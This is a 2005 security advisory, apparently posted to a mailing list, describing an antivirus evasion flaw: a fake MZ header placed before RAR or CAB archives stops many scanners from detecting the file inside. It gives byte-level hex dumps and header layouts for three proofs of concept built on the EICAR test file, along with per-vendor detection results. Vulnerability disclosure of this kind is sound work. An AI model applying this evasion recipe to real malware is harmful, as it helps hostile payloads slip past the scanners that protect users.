-=====================================================================-

Release Date : 2005-10-05
Tested on: Windows 2000 SP2 & SP4
Tested with: Jotti Online Antivirus Scanner
Tested with: VirusTotal Online Antivirus Scanner
Tested with: Command line freeware UnRAR v3.50
Tested with: PowerZip v7.06

Affected Products:
* Kaspersky Antivirus
* BitDefender Antivirus
* NOD32 Antivirus
* F-Prot Antivirus
* Avast Antivirus
* McAfee Antivirus
* Sophos Antivirus
* Symantec Antivirus
* Dr.Web Antivirus
* Avira Antivirus
* Norman Virus Control Antivirus
* Fortinet Antivirus
* VBA32 Antivirus
* Rising Antivirus
* AntiVir Antivirus
* eTrust-Iris Antivirus
* ArcaVir Antivirus
* eTrust-Vet Antivirus
* UNA Antivirus
* Ikarus AntiVirus
* ClamAV Antivirus
* Panda Antivirus
* CAT Quick Heal
* TheHacker
[+] May be others.....

Not affected:
* Only Grisoft AVG AntiVirus have found all PoC

Discovered by: fRoGGz
Credit to: SecuBox Labs
Rated as : Medium

-=====================================================================-

Please, read this first.
________________________

Carefull, it's different than CAN-2004-0932 & CAN-2004-0937 !
Security Focus bid: 11448

Different than vulnerabilty reported by Thierry Zoller & discovered by Dr. Peter Bieringer.
Security Focus bid: 12793

[ Why ? ]

[+] Scanning EICAR.zip ... <- (eicar.com is inside)
[-] Writing central header patch [0x00000016]
[-] Writing local header patch [0x0000007F]
[+] File scanning finished. EOF:16 ERR:0

Scanned files

X:\=>Master Boot Record 80 OK
X:\=>Partition Boot 1 (primary) (active) OK
X:\=>Master Boot Record 81 OK
X:\=>Partition Boot 1 (primary) OK
X:\SecuBox.Labs\Debug\EICAR.zip OK
X:\SecuBox.Labs\Debug\EICAR.zip=>EICAR.com Infected EICAR-Test-File (not a virus)
X:\SecuBox.Labs\EICAR.zip=>EICAR.com Deleted
X:\SecuBox.Labs\EICAR.zip Update

Ok ? So ... it's really different.

-=====================================================================-

Analysis
__________

Specially crafted archive containing a virus will pass
through the antivirus system without detection.

An attacker can compress a malicious payload and evade
detection by some anti-virus software.

The bypassed malicious content does not pose a risk until
extracted from the RAR archive file. Malicious content
will be detected and eliminated by your Antivirus.

Contrary to Winzip or BitZipper which do not authorize the
opening of the file, Winrar & PowerZip open & extract it.

Possible formats are:
/------------------------------------------------------------\
*.RAR, *.ZIP, *.CAB, *.ARJ, *.LZH, *.ACE, *.TAR, *.GZ (GZIP)
*.UUE, *.BZ2, *.JAR, *.ISO, *.7Z, *.Z
\------------------------------------------------------------/

Proof of Concept
________________


************ WARNING *****************
We have used: eicar.com
EICAR test is a 68 bytes file "detect" as if it were a virus.
Read more about EICAR
Notes:: For BitZipper & WinZip file is corrupted !
************ WARNING *****************

Compress file "eicar.com" with Winrar: eicar.rar
-=====================================================================-
00h: 52 61 72 21 1A 07 00 CF 90 73 00 00 0D 00 00 00 ; Rar!...Ï?s......
10h: 00 00 00 00 D3 AD 74 20 90 2E 00 44 00 00 00 44 ; ....ӭt ?..D...D
20h: 00 00 00 02 3C CF 51 68 EE A4 45 33 1D 30 09 00 ; ....<ÏQhî€E3.0..
30h: 20 00 00 00 45 49 43 41 52 2E 63 6F 6D 00 F0 A0 ; ...EICAR.com.ð 
40h: CB 96 58 35 4F 21 50 25 40 41 50 5B 34 5C 50 5A ; Ë?X5O!P%@AP[4\PZ
50h: 58 35 34 28 50 5E 29 37 43 43 29 37 7D 24 45 49 ; X54(P^)7CC)7}$EI
60h: 43 41 52 2D 53 54 41 4E 44 41 52 44 2D 41 4E 54 ; CAR-STANDARD-ANT
70h: 49 56 49 52 55 53 2D 54 45 53 54 2D 46 49 4C 45 ; IVIRUS-TEST-FILE
80h: 21 24 48 2B 48 2A C4 3D 7B 00 40 07 00 ; !$H+H*Ä={.@..
-=====================================================================-

Malicious archive must start with a fake MZ header.
Of course, we must test for create a valid archive file.

-=====================================================================-
Archive is correct :: No errors found during test operation
-=====================================================================-
UNRAR 3.50 freeware - Copyright (c) 1993-2004 Alexander Roshal
Extracting from SecuBox_AVPoC2.rar
Extracting EICAR.com OK
All OK

UNRAR 3.50 freeware - Copyright (c) 1993-2004 Alexander Roshal
Testing archive SecuBox_AVPoC2.rar
Testing EICAR.com OK
All OK

Note:: For PowerZip, only SecuBox_AVPoC2.rar is valid, not PoC n°1.
-=====================================================================-

Proof Of Concept N°1
--------------------
[e_magic][archive] >> Like this >> [4D5A][526172211A0700...]

Results for: SecuBox_AVPoC1.rar
_______________________________

[?] AntiVir Found nothing
[?] ArcaVir Found nothing
[?] Avast Found nothing
[!] AVG Antivirus Found EICAR_Test (+187)
[!] BitDefender Found EICAR-Test-File (not a virus)
[!] CAT-QuickHeal Found Eicar.Test
[~] ClamAV Found nothing >> Suspect
[?] Dr.Web Found nothing
[?] eTrust-Iris Found nothing
[?] eTrust-Vet Found nothing
[!] Fortinet Found EICAR_TEST_FILE
[?] F-Prot Antivirus Found nothing
[!] Ikarus Found EICAR_Test
[?] Kaspersky Anti-Virus Found nothing
[?] McAfee Found nothing
[?] NOD32 Found nothing
[?] Norman Virus Control Found nothing
[!] Panda Found Eicar.Mod
[?] Sophos Found nothing
[?] Symantec Found nothing
[?] TheHacker Found nothing
[?] UNA Found nothing
[?] VBA32 Found nothing

PoC n°1
MD5: e907ab569a6ceed6233e33828032c8f4
SHA1: 071ba79957b80b11b85bb05bdf00f2edb803f4bb

-=====================================================================-

Proof Of Concept N°2
---------------------
[e_magic] [e_cblp] [e_cp] [00+archive...]
( 4D5A ) ( 5000 ) (0200) (00+52 61 72 21 1A 07 00 CF....

Results for: SecuBox_AVPoC2.rar
________________________________

[?] AntiVir Found nothing
[!] ArcaVir Found Eicar.Test
[!] Avast Found EICAR Test-NOT!!
[!] AVG Antivirus Found EICAR_Test
[?] BitDefender Found nothing
[!] CAT-QuickHeal Found Eicar.Test
[~] ClamAV Found nothing >> Suspect
[?] Dr.Web Found nothing
[?] eTrust-Iris Found nothing
[?] eTrust-Vet Found nothing
[?] Fortinet Found nothing
[?] F-Prot Antivirus Found nothing
[?] Fortinet Found nothing
[!] Ikarus Found EICAR_Test
[?] Kaspersky Anti-Virus Found nothing
[?] McAfee Found nothing
[?] NOD32 Found nothing
[?] Norman Virus Control Found nothing
[!] Panda Found Eicar.Mod
[!] Sophos EICAR-AV-Test
[?] Symantec Found nothing
[?] TheHacker Found nothing
[?] UNA Found nothing
[?] VBA32 Found nothing

PoC n°2
MD5: 757e6c7984028653c557d5b0bf5374fd
SHA1: 438d119bae0eedca413f27958172523738889c75

-=====================================================================-

Proof Of Concept N°3
---------------------
[e_magic] [e_cblp] [e_cp] [00+archive...]
( 4D5A ) ( 5000 ) (0200) (00+4D 53 43 46 00 00 00 00....

Compress file "eicar.com" with Winrar: eicar.cab
-=====================================================================-
00h: 4D 53 43 46 00 00 00 00 96 00 00 00 00 00 00 00 ; MSCF....?.......
10h: 2C 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 ; ,...............
20h: 29 00 00 00 46 00 00 00 01 00 01 00 44 00 00 00 ; )...F.......D...
30h: 00 00 00 00 00 00 47 33 F9 86 20 00 45 49 43 41 ; ......G3ù? .EICA
40h: 52 2E 63 6F 6D 00 60 79 2E 6A 48 00 44 00 43 4B ; R.com.`y.jH.D.CK
50h: 8B 30 F5 57 0C 50 75 70 0C 88 36 89 09 88 8A 30 ; ?0õW.Pup.?6?.??0
60h: 35 D1 08 88 D3 34 77 76 D6 34 AF 55 71 F5 74 76 ; 5Ñ.?Ó4wvÖ4¯Uqõtv
70h: 0C D2 0D 0E 71 F4 73 71 0C 72 D1 75 F4 0B F1 0C ; .Ò..qôsq.rÑuô.ñ.
80h: F3 0C 0A 0D D6 0D 71 0D 0E D1 75 F3 F4 71 55 54 ; ó...Ö.q..ÑuóôqUT
90h: F1 D0 F6 D0 02 00 ; ñÐöÐ..
-=====================================================================-

Results for: SecuBox_AVPoC3.cab
________________________________

[?] AntiVir Found nothing
[?] ArcaVir Found nothing
[?] Avast Found nothing
[!] AVG Antivirus Found EICAR_Test
[?] BitDefender Found nothing
[?] CAT-QuickHeal Found nothing
[?] ClamAV Found nothing
[?] Dr.Web Found nothing
[?] eTrust-Iris Found nothing
[?] eTrust-Vet Found nothing
[?] Fortinet Found nothing
[?] F-Prot Antivirus Found nothing
[?] Fortinet Found nothing
[?] Ikarus Found nothing
[?] Kaspersky Anti-Virus Found nothing
[?] McAfee Found nothing
[?] NOD32 Found nothing
[?] Norman Virus Control Found nothing
[?] Panda Found nothing
[?] Sophos Found nothing
[?] Symantec Found nothing
[?] TheHacker Found nothing
[?] UNA Found nothing
[!] VBA32 Found EICAR-Test-File

PoC n°3
MD5: 621990887beb0cbca7a071d3006a7fdf
SHA1: 3edd5b71eaa803d6cdffc181ceaaf9ad9b85cf31

WARNING: Results are not verifiable at 100%
PoC files were checked via VirusTotal & Jotti Online Antivirus Scanner

-=====================================================================-

[ unix analysis ]

thot:~$ clamscan --no-summary SecuBox_AVPoC3.cab
SecuBox_AVPoC3.cab: OK
thot:~$ cabextract SecuBox_AVPoC3.cab
Extracting cabinet: SecuBox_AVPoC3.cab
extracting EICAR.com
All done, no errors.
thot:~$ clamscan --no-summary EICAR.com
EICAR.com: Eicar-Test-Signature FOUND
thot:~$

thot:~$ clamscan -V
ClamAV 0.87/1120/Fri Oct 7 13:06:49 2005

CREDiTS
---------------------
SecuBox Labs - fRoGGz
Greet's fly out to: Jordi Bosveld & VirusTotal

-=====================================================================-











































-- 
___________________________________________________________
Sign-up for Ads Free at Mail.com
http://promo.mail.com/adsfreejump.htm